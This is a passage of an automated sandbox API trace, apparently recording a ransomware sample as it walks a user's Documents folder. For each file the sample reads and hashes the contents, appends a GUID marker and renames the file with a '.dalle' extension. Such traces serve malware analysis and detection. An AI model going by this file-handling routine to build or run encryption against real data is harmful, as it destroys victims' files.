[0121.791] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.791] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.791] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.791] GetLastError () returned 0x0 [0121.791] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.791] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.791] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.792] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.792] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.792] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.792] CloseHandle (hObject=0x618) returned 1 [0121.793] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\i aQpW6c954.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\i aqpw6c954.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\i aQpW6c954.odt.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\i aqpw6c954.odt.dalle")) returned 1 [0121.794] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.794] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.795] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78ea0 | out: hHeap=0x5e0000) returned 1 [0121.795] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x355c98c0, ftCreationTime.dwHighDateTime=0x1d4d140, ftLastAccessTime.dwLowDateTime=0x6ff9d1f0, ftLastAccessTime.dwHighDateTime=0x1d4c655, ftLastWriteTime.dwLowDateTime=0x6ff9d1f0, ftLastWriteTime.dwHighDateTime=0x1d4c655, nFileSizeHigh=0x0, nFileSizeLow=0x18357, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OM-0BNFr0vxP9yGlxp.rtf", cAlternateFileName="OM-0BN~1.RTF")) returned 1 [0121.795] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\OM-0BNFr0vxP9yGlxp.rtf") returned=".rtf" [0121.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\OM-0BNFr0vxP9yGlxp.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\om-0bnfr0vxp9yglxp.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.795] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=99159) returned 1 [0121.795] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.797] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18331, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.797] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.798] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x18357, lpOverlapped=0x0) returned 1 [0121.799] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.799] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.799] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.799] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.800] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.800] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.800] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.800] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.800] GetLastError () returned 0x0 [0121.800] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.800] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.800] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.801] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18357, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.801] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.801] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.801] CloseHandle (hObject=0x618) returned 1 [0121.802] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\OM-0BNFr0vxP9yGlxp.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\om-0bnfr0vxp9yglxp.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\OM-0BNFr0vxP9yGlxp.rtf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\om-0bnfr0vxp9yglxp.rtf.dalle")) returned 1 [0121.803] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.803] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.804] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78ea0 | out: hHeap=0x5e0000) returned 1 [0121.804] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a3d32b0, ftCreationTime.dwHighDateTime=0x1d4cb94, ftLastAccessTime.dwLowDateTime=0xcd9ba150, ftLastAccessTime.dwHighDateTime=0x1d4d1ed, ftLastWriteTime.dwLowDateTime=0xcd9ba150, ftLastWriteTime.dwHighDateTime=0x1d4d1ed, nFileSizeHigh=0x0, nFileSizeLow=0xf616, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rHF1mal.ots", cAlternateFileName="")) returned 1 [0121.804] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\rHF1mal.ots") returned=".ots" [0121.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\rHF1mal.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\rhf1mal.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.805] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=62998) returned 1 [0121.805] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.807] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf5f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.807] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.808] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xf616, lpOverlapped=0x0) returned 1 [0121.809] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.809] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.809] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.809] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.810] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.810] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.810] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.810] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.810] GetLastError () returned 0x0 [0121.810] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.810] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.810] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.811] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf616, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.811] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.811] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.811] CloseHandle (hObject=0x618) returned 1 [0121.812] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\rHF1mal.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\rhf1mal.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\rHF1mal.ots.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\rhf1mal.ots.dalle")) returned 1 [0121.813] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.813] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.814] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78ea0 | out: hHeap=0x5e0000) returned 1 [0121.814] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb01f1ef0, ftCreationTime.dwHighDateTime=0x1d4cbac, ftLastAccessTime.dwLowDateTime=0xe6f70ab0, ftLastAccessTime.dwHighDateTime=0x1d4ce12, ftLastWriteTime.dwLowDateTime=0xe6f70ab0, ftLastWriteTime.dwHighDateTime=0x1d4ce12, nFileSizeHigh=0x0, nFileSizeLow=0xdb13, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xRZA5bTbxl.xlsx", cAlternateFileName="XRZA5B~1.XLS")) returned 1 [0121.814] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\xRZA5bTbxl.xlsx") returned=".xlsx" [0121.814] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\xRZA5bTbxl.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\xrza5btbxl.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.815] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=56083) returned 1 [0121.815] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.817] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdaed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.817] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.818] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xdb13, lpOverlapped=0x0) returned 1 [0121.819] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.819] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.819] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.819] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.820] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.820] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.820] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.820] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.820] GetLastError () returned 0x0 [0121.820] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.820] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.820] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.820] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdb13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.821] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.821] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.821] CloseHandle (hObject=0x618) returned 1 [0121.822] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\xRZA5bTbxl.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\xrza5btbxl.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\xRZA5bTbxl.xlsx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\xrza5btbxl.xlsx.dalle")) returned 1 [0121.822] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.822] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.823] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78ea0 | out: hHeap=0x5e0000) returned 1 [0121.823] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86588380, ftCreationTime.dwHighDateTime=0x1d4cda6, ftLastAccessTime.dwLowDateTime=0x14446670, ftLastAccessTime.dwHighDateTime=0x1d4c738, ftLastWriteTime.dwLowDateTime=0x14446670, ftLastWriteTime.dwHighDateTime=0x1d4c738, nFileSizeHigh=0x0, nFileSizeLow=0xac6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yySnK GxBcD.pps", cAlternateFileName="YYSNKG~1.PPS")) returned 1 [0121.823] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\yySnK GxBcD.pps") returned=".pps" [0121.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\yySnK GxBcD.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\yysnk gxbcd.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.824] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=44143) returned 1 [0121.824] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.826] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xac49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.826] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.827] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xac6f, lpOverlapped=0x0) returned 1 [0121.828] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.828] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.828] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.828] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.829] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.829] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.829] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.829] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.829] GetLastError () returned 0x0 [0121.829] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.829] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.829] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.830] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xac6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.830] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.830] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.830] CloseHandle (hObject=0x618) returned 1 [0121.831] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\yySnK GxBcD.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\yysnk gxbcd.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\yySnK GxBcD.pps.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\yysnk gxbcd.pps.dalle")) returned 1 [0121.831] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.832] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.832] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78ea0 | out: hHeap=0x5e0000) returned 1 [0121.832] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86588380, ftCreationTime.dwHighDateTime=0x1d4cda6, ftLastAccessTime.dwLowDateTime=0x14446670, ftLastAccessTime.dwHighDateTime=0x1d4c738, ftLastWriteTime.dwLowDateTime=0x14446670, ftLastWriteTime.dwHighDateTime=0x1d4c738, nFileSizeHigh=0x0, nFileSizeLow=0xac6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yySnK GxBcD.pps", cAlternateFileName="YYSNKG~1.PPS")) returned 0 [0121.833] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094830 | out: hHeap=0x5e0000) returned 1 [0121.833] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094830 [0121.833] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.833] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.833] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.834] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.834] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: 